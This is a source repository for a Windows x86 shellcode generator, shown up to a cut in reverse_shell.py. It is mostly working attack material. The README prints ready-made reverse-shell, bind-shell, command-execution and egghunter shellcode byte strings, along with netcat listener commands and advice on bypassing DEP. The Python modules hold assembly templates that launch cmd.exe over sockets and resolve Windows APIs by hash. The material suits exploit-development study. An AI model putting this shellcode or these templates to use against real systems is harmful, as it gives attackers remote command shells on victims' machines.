├── .gitignore ├── README.md ├── coder ├── bind_shell.py ├── call_exit_func.py ├── egghunter.py ├── exec_command.py ├── find_and_call.py ├── reverse_shell.py └── util.py ├── requirements.txt ├── runner └── __init__.py ├── stones ├── __init__.py └── replace_instruction.py ├── tests ├── test_bind_shell.py ├── test_egghunter.py ├── test_exec_command.py ├── test_replace_instructions.py ├── test_revese_shell.py └── test_util.py └── win_x86_shellcoder.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Windows x86 Shellcode Generator 2 | 3 | ## Usage 4 | 5 | ``` 6 | $ python3 win_x86_shellcoder.py -h 7 | usage: win_x86_shellcoder.py [-h] [-b BADCHARS] [-r] [-w] [-e {process,thread,none}] {reverse,bind,exec,egghunter,loadfile} ... 8 | 9 | Windows x86 Shellcode Generator 10 | 11 | positional arguments: 12 | {reverse,bind,exec,egghunter,loadfile} 13 | Shellcode mode 14 | reverse Generate reverse shell shellcode 15 | bind Generate bind shell shellcode 16 | exec Generate execute command shellcode 17 | egghunter Generate egghunter shellcode 18 | loadfile Load shellcode from file 19 | 20 | options: 21 | -h, --help show this help message and exit 22 | -b BADCHARS, --badchars BADCHARS 23 | Characters to avoid 24 | -r, --run_shellcode Inject shellcode into a current Python process 25 | -w, --use_windbg Insert int3 for debugger into shellcode 26 | -e {process,thread,none}, --exit_func {process,thread,none} 27 | Function called to terminate shellcode 28 | ``` 29 | 30 | 31 | ## Examples 32 | 33 | ### Reverse Shell 34 | 35 | ``` 36 | nc -nlvp 443 37 | ``` 38 | 39 | ``` 40 | $ python3 win_x86_shellcoder.py -b '\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C' reverse -i 192.168.1.120 -p 443 41 | # shellcode size: 0x15f (351) 42 | shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebR\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cVF\x8b^\x07N\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18O\x8bG!G\x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x0e\x01\xc2\xeb\xf4\xeb+^\x8b6\xeb\xb9;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8L\x89D$!D^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8P\xb8\xcd\xcd\xd1\xbb\xf7\xd8PhWS2_Th\xf9\x1d\x7f\xc3\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x1e\x9a\x0c0\xffU\x041\xc0PPP\xb0\x06P,\x05P@Ph\xff\x9aH\x1a\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x01xf\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh2\xa6\xc3\x1a\xffU\x04VVV1\xc0H\x8dH\x0e@P\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8P\xb8\x9d\x92\x9b\xd1\xf7\xd8P\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\x98\xb1\x89\xef\xffU\x041\xc9Qj\xffh\xc2Y\xfc\xe6\xffU\x04' 43 | ``` 44 | 45 | 46 | ### Bind Shell 47 | 48 | ``` 49 | $ python3 win_x86_shellcoder.py -b '\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C' bind -p 54321 50 | # shellcode size: 0x170 (368) 51 | shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebR\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cVF\x8b^\x07N\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18O\x8bG!G\x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca)\x01\xc2\xeb\xf4\xeb+^\x8b6\xeb\xb9;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8L\x89D$!D^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8P\xb8\xcd\xcd\xd1\xbb\xf7\xd8PhWS2_Th\xca\xcc~E\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\xb8\xe0i\xa1\xffU\x041\xc0PPP\xb0\x06P,\x05P@Ph\xa9\x1f\xbe\xc0\xffU\x04\x89\xc61\xc0PPPf\xb8\xd41\xc1\xe0\x10\x04\x02PT_1\xc0\x04\x10PWVh\xa5L\x1a\x97\xffU\x041\xc0PVh\xd4f\xfd\xc5\xffU\x041\xc0PPVh\xda\xa4!k\xffU\x04\x89\xc6VVV1\xc0H\x8dH\x0e@P\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8P\xb8\x9d\x92\x9b\xd1\xf7\xd8P\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh<\xc6ry\xffU\x041\xc9Qj\xffh\xc6\xbaHp\xffU\x04' 52 | ``` 53 | 54 | ``` 55 | nc -nv 192.168.1.121 54321 56 | ``` 57 | 58 | 59 | ### Execute Command 60 | 61 | ``` 62 | $ python3 win_x86_shellcoder.py -b '\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C' exec -c 'calc' 63 | # shellcode size: 0xba (186) 64 | shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebR\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cVF\x8b^\x07N\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18O\x8bG!G\x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x03\x01\xc2\xeb\xf4\xeb+^\x8b6\xeb\xb9;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8L\x89D$!D^aYZQ\xff\xe0\xb8\x01\x02\x02\x025\x01\x03\x03\x03Phcalc\x89\xe11\xd2RQhq\x90H\xaa\xffU\x041\xc9Qj\xffh\x97\xaae}\xffU\x04' 65 | ``` 66 | 67 | 68 | ### Egghunter 69 | 70 | #### Use ntaccess 71 | 72 | ``` 73 | $ python3 win_x86_shellcoder.py -b '\x00' egghunter ntaccess -t w00tw00t 74 | # shellcode size: 0x24 (36) 75 | shellcode = b'f\x81\xca\xff\x0fBR\xb8:\xfe\xff\xff\xf7\xd8\xcd.<\x05Zt\xeb\xb8w00t\x89\xd7\xafu\xe6\xafu\xe3\xff\xe7' 76 | ``` 77 | 78 | 79 | #### Use SEH 80 | 81 | ``` 82 | $ python3 win_x86_shellcoder.py -b '\x00' egghunter seh -t w00tw00t 83 | # shellcode size: 0x45 (69) 84 | shellcode = b'\xeb*Y\xb8w00tQj\xff1\xdbd\x89#\x83\xe9\x04\x83\xc3\x04d\x89\x0bj\x02Y\x89\xdf\xf3\xafu\x07\xff\xe7f\x81\xcb\xff\x0fC\xeb\xed\xe8\xd1\xff\xff\xffj\x0cY\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06X\x83\xc4\x10P1\xc0\xc3' 85 | ``` 86 | 87 | 88 | ## Bypass DEP with WriteProcessMemory 89 | 90 | This tool was created to facilitate developing shellcodes that do not contain bad characters and do not require decoding to bypass DEP with [WriteProcessMemory](https://docs.microsoft.com/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory). 91 | 92 | Suppose [VirtualAlloc](https://docs.microsoft.com/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) or [VirtualProtect](https://docs.microsoft.com/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect) cannot be used and WriteProcessMemory must be used. In that case, encoders that perform dynamic decoding such as shikata_ga_nai will likely not work because the address to which WriteProcessMemory writes the shellcode will remain not writable, making it impossible to write dynamically decoded shellcode. 93 | 94 | One solution to this problem is to develop a shellcode that does not contain bad characters and does not require decoding. 95 | 96 | 97 | ## Find Bad Characters 98 | 99 | `-b` is an option to specify bad characters. The specified bad characters are automatically removed from function name hashes and some instructions in the shellcode. If any remaining bad characters cannot be removed, the output will indicate which instructions contain bad characters as `[x]`. 100 | 101 | ``` 102 | $ python3 win_x86_shellcoder.py -b '\x00\x08\x09\x0A\x0B\x0C\x0D\x20\x23\x25\x26\x2B\x2E\x2F\x3D\x3F\x5C' reverse -i 192.168.1.120 -p 443 103 | ... 104 | # bad chars were found in the shellcode 105 | ... 106 | [ ] ebf4 : jmp 0x58 107 | [x] eb2b : jmp 0x91 108 | [ ] 5e : pop esi 109 | [ ] 8b36 : mov esi, dword ptr [esi] 110 | [ ] ebb9 : jmp 0x24 111 | [ ] 3b542428 : cmp edx, dword ptr [esp + 0x28] 112 | [ ] 75d6 : jne 0x47 113 | [ ] 8b5724 : mov edx, dword ptr [edi + 0x24] 114 | [ ] 01da : add edx, ebx 115 | [x] 668b0c4a : mov cx, word ptr [edx + ecx*2] 116 | [ ] 8b571c : mov edx, dword ptr [edi + 0x1c] 117 | ... 118 | ``` 119 | 120 | 121 | ## Replace Instructions 122 | 123 | We can manually remove the remaining bad characters by replacing the detected instruction with another instruction. For example, 0x0C and 0x2B can be removed by replacing the instructions in [find_and_call.py](coder/find_and_call.py) as follows. 124 | 125 | ```asm 126 | ... 127 | jmp compute_hash_again // Next iteration 128 | 129 | find_and_call_hop: 130 | jmp find_and_call_end 131 | nop // * REMOVE 0x2B * 132 | nop // * REMOVE 0x2B * 133 | 134 | get_next_module: 135 | pop esi // Restore InInitOrder 136 | mov esi, [esi] // ESI = InInitOrder[X].flink (next) 137 | jmp next_module 138 | 139 | find_function_compare: 140 | cmp edx, [esp+0x28] // Compare the computed hash with the requested hash 141 | jnz find_function_loop // If it doesn't match go back to find_function_loop 142 | mov edx, [edi+0x24] // AddressOfNameOrdinals RVA 143 | add edx, ebx // AddressOfNameOrdinals VMA 144 | //; mov cx, [edx+2*ecx] // Extrapolate the function's ordinal 145 | mov ax, [edx+2*ecx] // * REMOVE 0x0C * 146 | mov cx, ax // * REMOVE 0x0C * 147 | mov edx, [edi+0x1C] // AddressOfFunctions RVA 148 | ... 149 | ``` 150 | 151 | 152 | ## Debug Shellcode (for Windows Only) 153 | 154 | ### Inject shellcode into a Python process 155 | 156 | `-r`, `--run_shellcode` 157 | 158 | ``` 159 | python3 win_x86_shellcoder.py -r reverse -i 192.168.1.120 -p 443 160 | ``` 161 | 162 | 163 | ### Insert int3 for debugger into shellcode 164 | 165 | `-w`, `--use_windbg` 166 | 167 | ``` 168 | python3 win_x86_shellcoder.py -r -w reverse -i 192.168.1.120 -p 443 169 | ``` 170 | 171 | -------------------------------------------------------------------------------- /coder/bind_shell.py: -------------------------------------------------------------------------------- 1 | from coder import call_exit_func, find_and_call 2 | from coder.util import convert_port_hex, find_hash_key, push_hash, push_string 3 | 4 | 5 | def generate(port, bad_chars, exit_func, debug=False): 6 | port_hex = convert_port_hex(port) 7 | hash_key = find_hash_key( 8 | [ 9 | ("KERNEL32.DLL", "LoadLibraryA"), 10 | ("WS2_32.DLL", "WSAStartup"), 11 | ("WS2_32.DLL", "WSASocketA"), 12 | ("WS2_32.DLL", "bind"), 13 | ("WS2_32.DLL", "listen"), 14 | ("WS2_32.DLL", "accept"), 15 | ("KERNEL32.DLL", "CreateProcessA"), 16 | ] 17 | + ([exit_func] if exit_func else []), 18 | bad_chars, 19 | ) 20 | 21 | return f""" 22 | start: 23 | {'int3' if debug else ''} // Breakpoint for Windbg 24 | mov ebp, esp 25 | add esp, 0xfffff9f0 // Avoid NULL bytes 26 | 27 | {find_and_call.generate(hash_key)} 28 | 29 | load_ws2_32: // HMODULE LoadLibraryA([in] LPCSTR lpLibFileName); 30 | {push_string('WS2_32.DLL', bad_chars)} 31 | push esp // lpLibFileName = &("ws2_32.dll") 32 | {push_hash('KERNEL32.DLL', 'LoadLibraryA', hash_key)} 33 | call dword ptr [ebp+0x04] // Call LoadLibraryA 34 | 35 | call_wsastartup: // int WSAStartup(WORD wVersionRequired, [out] LPWSADATA lpWSAData); 36 | mov eax, esp // Move ESP to EAX 37 | xor ecx, ecx // ECX = 0 38 | mov cx, 0x590 // Move 0x590 to CX 39 | sub eax, ecx // Substract CX from EAX to avoid overwriting the structure later 40 | push eax // lpWSAData = ESP - 0x590 41 | xor eax, eax // EAX = 0 42 | mov ax, 0x0202 // Move version to AX 43 | push eax // wVersionRequired = 0x202 44 | {push_hash('WS2_32.DLL', 'WSAStartup', hash_key)} 45 | call dword ptr [ebp+0x04] // Call WSAStartup 46 | 47 | call_wsasocketa: // SOCKET WSAAPI WSASocketA([in] int af, [in] int type, [in] int protocol, [in] LPWSAPROTOCOL_INFOA lpProtocolInfo, [in] GROUP g, [in] DWORD dwFlags) 48 | xor eax, eax // EAX = 0 49 | push eax // dwFlags = NULL 50 | push eax // g = NULL 51 | push eax // lpProtocolInfo = NULL 52 | mov al, 0x06 // Move AL, IPPROTO_TCP 53 | push eax // protocol = 0x6 54 | sub al, 0x05 // Substract 0x05 from AL, AL = 0x01 55 | push eax // type = 0x1 56 | inc eax // Increase EAX, EAX = 0x02 57 | push eax // af = 0x2 58 | {push_hash('WS2_32.DLL', 'WSASocketA', hash_key)} 59 | call dword ptr [ebp+0x04] // Call WSASocketA 60 | mov esi, eax // esi = sock 61 | 62 | create_sockaddr_in: // typedef struct sockaddr_in {{ADDRESS_FAMILY sin_family = AF_INET (0x2); USHORT sin_port; IN_ADDR sin_addr = 0; CHAR sin_zero[8];}} 63 | xor eax, eax // eax = 0 64 | push eax // sin_zero[4:8] = NULL 65 | push eax // sin_zero[0:4] = NULL 66 | push eax // sin_addr = NULL 67 | mov ax, {port_hex} // ax = port 68 | shl eax, 0x10 // eax < 0x10 69 | add al, 0x2 // ax = AF_INET (0x2) 70 | push eax // sin_port = port, sin_family = 0x2 71 | push esp // Set &(sockaddr_in) 72 | pop edi // edi = &(sockaddr_in) 73 | 74 | call_bind: // int bind([in] SOCKET s, const sockaddr *addr, [in] int namelen) 75 | xor eax, eax // eax = 0 76 | add al, 0x10 // eax = namelen (0x10) 77 | push eax // namelen = 0x10 78 | push edi // addr = &(sockaddr_in) 79 | push esi // s = sock 80 | {push_hash('WS2_32.DLL', 'bind', hash_key)} 81 | call dword ptr [ebp+0x04] // Call bind 82 | 83 | call_listen: // int WSAAPI listen([in] SOCKET s, [in] int backlog) 84 | xor eax, eax // eax = 0 85 | push eax // backlog = 0 86 | push esi // s = sock 87 | {push_hash('WS2_32.DLL', 'listen', hash_key)} 88 | call dword ptr [ebp+0x04] // Call listen 89 | 90 | call_accept: // SOCKET WSAAPI accept([in] SOCKET s, [out] sockaddr *addr, [in, out] int *addrlen) 91 | xor eax, eax // eax = 0 92 | push eax // addrlen = 0 93 | push eax // addr = 0 94 | push esi // s = sock 95 | {push_hash('WS2_32.DLL', 'accept', hash_key)} 96 | call dword ptr [ebp+0x04] // Call accept 97 | mov esi, eax // esi = accept() 98 | 99 | create_startupinfoa: // typedef struct _STARTUPINFOA {{DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError;}} 100 | push esi // hStdError = sock 101 | push esi // hStdOutput = sock 102 | push esi // hStdInput = sock 103 | xor eax, eax // eax = NULL 104 | lea ecx, [eax + 0xd] // ecx = loop limit 105 | 106 | create_startupinfoa_push_loop: 107 | push eax // Set NULL dword 108 | loop create_startupinfoa_push_loop // ecx = 0xd; do {{ecx--; ...}} while (ecx > 0) 109 | mov al, 0x44 // eax = 0x44 110 | push eax // cb = 0x44 111 | push esp // Set &(startupinfoa) 112 | pop edi // edi = &(startupinfoa) 113 | mov word ptr [edi + 4*11], 0x101 // dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW 114 | 115 | create_cmd_string: 116 | {push_string('cmd.exe', bad_chars)} 117 | mov ebx, esp 118 | 119 | call_createprocessa: // BOOL CreateProcessA([in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation) 120 | mov eax, esp // Move ESP to EAX 121 | xor ecx, ecx // ecx = 0 122 | mov cx, 0x390 // ecx = 0x390 123 | sub eax, ecx // eax = &(processinformation) (esp - 0x390) 124 | push eax // lpProcessInformation = &(processinformation) 125 | push edi // lpStartupInfo = &(startupinfoa) 126 | xor eax, eax // EAX = 0 127 | push eax // lpCurrentDirectory = NULL 128 | push eax // lpEnvironment = NULL 129 | push eax // dwCreationFlags = NULL 130 | inc eax // eax = true 131 | push eax // bInheritHandles = true 132 | dec eax // EAX = 0 133 | push eax // lpThreadAttributes = NULL 134 | push eax // lpProcessAttributes = NULL 135 | push ebx // lpCommandLine = &("cmd.exe") 136 | push eax // lpApplicationName = NULL 137 | {push_hash('KERNEL32.DLL', 'CreateProcessA', hash_key)} 138 | call dword ptr [ebp+0x04] // Call CreateProcessA 139 | 140 | {call_exit_func.generate(exit_func, hash_key)} 141 | """ 142 | -------------------------------------------------------------------------------- /coder/call_exit_func.py: -------------------------------------------------------------------------------- 1 | from coder.util import DEFAULT_HASH_KEY, push_hash 2 | 3 | 4 | def generate(exit_func, hash_key=DEFAULT_HASH_KEY): 5 | if exit_func == ("KERNEL32.DLL", "TerminateProcess"): 6 | return f""" 7 | call_terminateprocess: // BOOL TerminateProcess([in] HANDLE hProcess, [in] UINT uExitCode); 8 | xor ecx, ecx // ECX = 0 9 | push ecx // uExitCode = 0 10 | push 0xffffffff // hProcess = 0xffffffff 11 | {push_hash('KERNEL32.DLL', 'TerminateProcess', hash_key)} 12 | call dword ptr [ebp+0x04] // Call TerminateProcess 13 | """ 14 | 15 | elif exit_func == ("ntdll.dll", "RtlExitUserThread"): 16 | return f""" 17 | call_rtlexituserthread: // RtlExitUserThread(dwThreadExitCode); 18 | xor ecx, ecx // ECX = 0 19 | push ecx // dwThreadExitCode = 0 20 | {push_hash('ntdll.dll', 'RtlExitUserThread', hash_key)} 21 | call dword ptr [ebp+0x04] // Call RtlExitUserThread 22 | """ 23 | 24 | return "" 25 | -------------------------------------------------------------------------------- /coder/egghunter.py: -------------------------------------------------------------------------------- 1 | from coder.util import convert_tag_hex 2 | 3 | 4 | def generate_ntaccess(tag, debug=False): 5 | tag_hex = convert_tag_hex(tag) 6 | 7 | return f""" 8 | start: 9 | {'int3' if debug else ''} 10 | 11 | loop_inc_page: 12 | or dx, 0x0fff 13 | 14 | loop_inc_one: 15 | inc edx 16 | 17 | loop_check: 18 | push edx 19 | mov eax, 0xfffffe3a 20 | neg eax 21 | int 0x2e 22 | cmp al,05 23 | pop edx 24 | 25 | loop_check_valid: 26 | je loop_inc_page 27 | 28 | is_egg: 29 | mov eax, {tag_hex} 30 | mov edi, edx 31 | scasd 32 | jnz loop_inc_one 33 | scasd 34 | jnz loop_inc_one 35 | 36 | matched: 37 | jmp edi 38 | """ 39 | 40 | 41 | def generate_seh(tag, debug=False): 42 | tag_hex = convert_tag_hex(tag) 43 | 44 | return f""" 45 | start: 46 | {'int3' if debug else ''} 47 | jmp get_seh_address 48 | 49 | build_exception_record: 50 | pop ecx 51 | mov eax, {tag_hex} 52 | push ecx 53 | push 0xffffffff 54 | xor ebx, ebx 55 | mov dword ptr fs:[ebx], esp 56 | sub ecx, 0x04 57 | add ebx, 0x04 58 | mov dword ptr fs:[ebx], ecx 59 | 60 | is_egg: 61 | push 0x02 62 | pop ecx 63 | mov edi, ebx 64 | repe scasd 65 | jnz loop_inc_one 66 | jmp edi 67 | 68 | loop_inc_page: 69 | or bx, 0xfff 70 | 71 | loop_inc_one: 72 | inc ebx 73 | jmp is_egg 74 | 75 | get_seh_address: 76 | call build_exception_record 77 | push 0x0c 78 | pop ecx 79 | mov eax, [esp+ecx] 80 | mov cl, 0xb8 81 | add dword ptr ds:[eax+ecx], 0x06 82 | pop eax 83 | add esp, 0x10 84 | push eax 85 | xor eax, eax 86 | ret 87 | """ 88 | -------------------------------------------------------------------------------- /coder/exec_command.py: -------------------------------------------------------------------------------- 1 | from coder import call_exit_func, find_and_call 2 | from coder.util import find_hash_key, push_hash, push_string 3 | 4 | 5 | def generate(cmd, bad_chars, exit_func, debug=False): 6 | hash_key = find_hash_key( 7 | [("KERNEL32.DLL", "WinExec")] + ([exit_func] if exit_func else []), 8 | bad_chars, 9 | ) 10 | 11 | return f""" 12 | start: 13 | {'int3' if debug else ''} // Breakpoint for Windbg 14 | mov ebp, esp 15 | add esp, 0xfffff9f0 // Avoid NULL bytes 16 | 17 | {find_and_call.generate(hash_key)} 18 | 19 | create_cmd_string: 20 | {push_string(cmd, bad_chars)} 21 | mov ecx, esp 22 | 23 | call_winexec: // UINT WinExec([in] LPCSTR lpCmdLine, [in] UINT uCmdShow); 24 | xor edx, edx // edx = 0 25 | push edx // uCmdShow = NULL 26 | push ecx // lpCmdLine = &(cmd) 27 | {push_hash('KERNEL32.DLL', 'WinExec', hash_key)} 28 | call dword ptr [ebp+0x04] // Call WinExec 29 | 30 | {call_exit_func.generate(exit_func, hash_key)} 31 | """ 32 | -------------------------------------------------------------------------------- /coder/find_and_call.py: -------------------------------------------------------------------------------- 1 | from coder.util import DEFAULT_HASH_KEY 2 | 3 | 4 | def generate(key=DEFAULT_HASH_KEY): 5 | return f""" 6 | find_and_call_shorten: 7 | jmp find_and_call_shorten_bnc // Short jump 8 | 9 | find_and_call_ret: 10 | pop esi // POP the return address from the stack 11 | mov [ebp+0x4], esi // Save find_function address for later usage 12 | jmp find_and_call_hop 13 | 14 | find_and_call_shorten_bnc: 15 | call find_and_call_ret // Relative CALL with negative offset 16 | 17 | find_and_call: 18 | pushad // Save all registers 19 | xor ecx, ecx // ECX = 0 20 | mov esi,fs:[ecx+0x30] // ESI = &(PEB) ([FS:0x30]) 21 | mov esi,[esi+0x0C] // ESI = PEB->Ldr 22 | mov esi,[esi+0x1C] // ESI = PEB->Ldr.InInitOrder 23 | 24 | next_module: 25 | push esi // Save InInitOrder for next module 26 | mov ebx, [esi+0x08] // EBX = InInitOrder[X].base_address 27 | movzx eax, byte ptr [esi+0x1E] // EAX = InInitOrder[X].module_name_length 28 | mov [ebp-0x8], eax // Save ModuleNameLength for later 29 | 30 | find_function: 31 | mov eax, [ebx+0x3C] // Offset to PE Signature 32 | mov edi, [ebx+eax+0x78] // Export Table Directory RVA 33 | add edi, ebx // Export Table Directory VMA 34 | mov ecx, [edi+0x18] // NumberOfNames 35 | mov eax, [edi+0x20] // AddressOfNames RVA 36 | add eax, ebx // AddressOfNames VMA 37 | mov [ebp-0x4], eax // Save AddressOfNames VMA for later 38 | 39 | find_function_loop: 40 | jecxz get_next_module // Jump to the end if ECX is 0 41 | dec ecx // Decrement our names counter 42 | mov eax, [ebp-0x4] // Restore AddressOfNames VMA 43 | mov esi, [eax+ecx*0x4] // Get the RVA of the symbol name 44 | add esi, ebx // Set ESI to the VMA of the current symbol name 45 | 46 | compute_hash: 47 | xor eax, eax // EAX = 0 48 | mov edx, [ebp-0x8] // EDX = ModuleNameLength 49 | cld // Clear direction 50 | 51 | compute_hash_again: 52 | lodsb // Load the next byte from esi into al 53 | test al, al // Check for NULL terminator 54 | jz find_function_compare // If the ZF is set, we've hit the NULL term 55 | ror edx, {hex(key)} // Rotate edx key bits to the right 56 | add edx, eax // Add the new byte to the accumulator 57 | jmp compute_hash_again // Next iteration 58 | 59 | find_and_call_hop: 60 | jmp find_and_call_end 61 | 62 | get_next_module: 63 | pop esi // Restore InInitOrder 64 | mov esi, [esi] // ESI = InInitOrder[X].flink (next) 65 | jmp next_module 66 | 67 | find_function_compare: 68 | cmp edx, [esp+0x28] // Compare the computed hash with the requested hash 69 | jnz find_function_loop // If it doesn't match go back to find_function_loop 70 | mov edx, [edi+0x24] // AddressOfNameOrdinals RVA 71 | add edx, ebx // AddressOfNameOrdinals VMA 72 | mov cx, [edx+2*ecx] // Extrapolate the function's ordinal 73 | mov edx, [edi+0x1C] // AddressOfFunctions RVA 74 | add edx, ebx // AddressOfFunctions VMA 75 | mov eax, [edx+4*ecx] // Get the function RVA 76 | add eax, ebx // Get the function VMA 77 | mov [esp+0x20], eax // Overwrite stack version of eax from pushad 78 | 79 | call_function: 80 | pop esi // Remove InInitOrder 81 | popad // Restore registers 82 | pop ecx // Escape return address 83 | pop edx // Remove hash 84 | push ecx // Set return address 85 | jmp eax // Call found function 86 | 87 | find_and_call_end: 88 | """ 89 | -------------------------------------------------------------------------------- /coder/reverse_shell.py: -------------------------------------------------------------------------------- 1 | from coder import call_exit_func, find_and_call 2 | from coder.util import ( 3 | 